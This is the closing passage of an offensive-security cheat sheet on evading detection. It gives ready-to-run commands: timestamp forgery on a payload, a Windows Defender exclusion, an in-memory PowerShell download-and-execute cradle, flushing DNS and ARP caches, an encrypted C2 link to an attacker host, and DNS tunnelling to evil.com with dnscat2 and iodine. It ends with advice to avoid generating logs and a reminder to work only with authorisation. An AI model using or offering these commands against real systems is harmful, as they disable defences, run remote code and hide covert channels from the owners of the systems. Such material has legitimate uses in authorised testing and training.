  (Get-Item payload.exe).CreationTime = Get-Date "2020-01-01 08:00:00"
  (Get-Item payload.exe).LastWriteTime = Get-Date "2020-01-01 08:00:00"
  # Defender exclusion
  Add-MpPreference -ExclusionPath "C:\Temp"
  # Download cradle (in-memory)
  IEX (New-Object Net.WebClient).DownloadString('http://x/p.ps1')
  # Flush network caches
  ipconfig /flushdns
  arp -d *

NETWORK EVASION QUICK:
  # Encrypted C2
  openssl s_client -connect attacker:443
  # Proxychains
  proxychains nmap -sT -Pn target
  # DNS tunnel tools
  dnscat2 evil.com
  iodine -f -P secret evil.com

KEY TAKEAWAY:
  The best evasion is AVOIDANCE - use techniques that don't generate
  logs in the first place, blend with normal admin activity, move
  slowly, and assume everything is centralized and forwarded.

================================================================================
END OF NOTES
================================================================================

LEGAL REMINDER: Only use these techniques in authorized environments.
```

Always obtain written permission. Unauthorized computer access is illegal under laws like the CFAA (US), Computer Misuse Act (UK), IT Act (India), and similar laws worldwide.

Stay within scope. Document everything. Report responsibly.